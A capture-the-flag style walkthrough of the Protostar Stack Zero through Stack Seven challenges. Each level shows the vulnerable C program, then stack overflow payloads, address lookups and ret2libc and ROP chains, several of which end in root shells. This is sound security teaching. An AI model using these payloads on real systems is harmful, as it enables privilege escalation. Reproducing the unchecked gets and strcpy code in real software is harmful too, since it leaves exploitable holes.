# Protostar

### Stack Zero

**Task:** Modify the `modified` value and get it to print the message `you have changed the 'modified' variable`&#x20;

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
```

**Solution:** As we can see, the size of the `buffer is 64 bytes` and as declared in the code, `modified` is right before it, so as per the assumption if we pass `64 A's and few B's` to the program's input we would be able to modify the value of the variable. We are able to do so as there are no bounds checking on the `gets` function while taking the input.

```bash
# --------------------------------
# 64 A's
user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try again?
# --------------------------------
# 64 A's and a few B's
user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
you have changed the 'modified' variable
```

### Stack One

**Task:** Modify the value of the `modified` variable to a specific value `(0x61626364)` to get the desired branch of the if statements to run.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}
```

**Solution:** As we can see in this problem as well, the variable `modified` is just after the `buffer of size 64 bytes`. So we'll follow the same technique as followed in the `Stack Zero` problem and pass `64 bytes of A's` and then pass the actual value that is required i.e. `0x61626364`. If you look around you'll realise that the value `0x61626364` is nothing but `abcd`, but as the processors work with little endian format, we'll have to pass `dcba` to the program to get the desired output.

```bash
# If we pass abcd, we won't get the desired value
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
# If we pass dcba we will be able to get the output we are looking for
user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value
```

### Stack Two

**Task:** Same as the last two, modify the `modified` variable to the desired value but this time using the Environment variable as an input.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
```

**Solution:** As we can see in the code, the value of `GREENIE` environment variable is being stored in the `variable` and then that variable is copied to the `buffer` without any bounds check. As pointed out earlier, this behaviour is dangerous and as exploited earlier, will be exploited here as well, but this time input will be set via the `GREENIE` environment variable.

```bash
user@protostar:/opt/protostar/bin$ export GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x42424242
user@protostar:/opt/protostar/bin$ export GREENIE=`echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d"`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable
```

### Stack Three

**Task:** Modify the control flow by mangling with the function pointer `fp`, which is called after getting the input from the user in the `buffer`.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}
```

**Solution:** First we need to figure out, where is the function `WIN` located in the address space. So for that we'll use `GDB`.

```bash
(gdb) disas win
Dump of assembler code for function win:
0x08048424 <win+0>:     push   %ebp
```

As we can see function win starts at `0x08048424`. So we have to make our code jump to that address i.e. overwrite `EIP` with that value. As we can see in the code, that `fp` is being called after the input has been stored in the `buffer`. We can exploit the unbounded copy of `buffer` and overwrite the `fp` variable with value of our choice and call the `win` function.

```bash
user@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
```

### Stack Four

**Task:** Redirect code flow to the WIN function.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

**Solution**

```bash
$ msf-pattern_create -l 100
$ echo "PATTERN GOES HERE" | ./stack4
$ dmesg
# Copy the segfault error IP and check the offset with 
$ msf-pattern_offset -q 63413563
# Verify with A and B
$ python -c 'print "A"*76 + "B"*4' | ./stack4
# Check if dmesg is at 42424242. We are good to go.
```

Find the address of the function, we want to jump to.

```bash
$ objdump -d ./stack4 | grep -4 "win"
080483f4 <win>:
# Rest of the code, we are just concerned with the starting 
# address
```

We'll now run the final exploit

```bash
$ python -c 'from struct import pack; print "A"*76 + pack("<I", 0x080483f4)' | ./stack4 
code flow successfully changed

# SUCCESS
```

### Stack Five

**Task:** Exploit the standard buffer-overflow and execute the `shellcode` using `ret2libc`, or `ROP`. We'll be using `ret2libC`.&#x20;

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

**Solution**

* Find the offset for `EIP` as done earlier and it turned out to be 76.
* We'll find the address of the functions (system and exit) and a string `/bin/sh`.
* Hijack the `EIP` and run the system with the `/bin/sh` parameter and get execution.

```bash
(gdb) b *main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
(gdb) i proc map
0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
## This is a very neat trick to find out the offset of something in any file
$ strings -at x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh
```

Assembling the exploit

```bash
$ python -c 'from struct import pack; print "A"*76 + 
pack("<I", 0xb7ecffb0) + pack("<I", 0xb7ec60c0) + pack("<I", 0xb7
e97000 + 0x11f3bf)'  > /tmp/s5
$ $ (cat /tmp/s5; cat) | ./stack5
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```

### Stack Six

**Task:** Restrictions on return address, get shell as root.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
```

**Solution**

Solution for this is exactly same as the 5th challenge, except the `EIP` offset i.e. 80 in this case, so we'll directly skip to running the exploit.

```bash
$ python -c 'from struct import pack; print "A"*80 + pack("<I", 0xb7ecffb0) + pack("<I", 0xb7ec60c0) + pack("<I", 0xb7e97000 + 0x11f3bf)'  > /tmp/s6
$ (cat /tmp/s6; cat) | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`췿c
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```

### Stack Seven

**Task:** More restrictions on the return address, get root shell.

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
```

Solution

* As we can see, any return address starting with `0xb` will shut our exploitation down, so we'll have to circumvent this.
* We'll be using 1 `ROP` gadget to pivot stack and get the execution flowing as normal, as we have done in the previous challenges.

The offset is still 80, so we'll proceed further and find our 1 `ROP` gadget to pivot back to the buffer.

```bash
$ ROPgadget --binary ./stack7
# ---- SNIP ----
0x08048574 : push esi ; push ebx ; call 0x80485d2                                                                                                      
0x080485e2 : push esp ; xchg eax, esi ; add al, 8 ; nop ; sub ebx, 4 ; call eax                                                                        
0x08048362 : ret # <---- We'll use the simple return statment
0x0804816b : retf
# ---- SNIP ----
```

Assembling the exploit

```bash
$ python -c 'from struct import pack; print "A"*80 + pack("<I", 0x08048362) + pack("<I", 0xb7ecffb0) + pack("<I", 0xb7ec60c0) + pack("<I", 0xb7e97000 + 0x11f3bf)'  > /tmp/s7
$ (cat /tmp/s7; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`췿c
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```
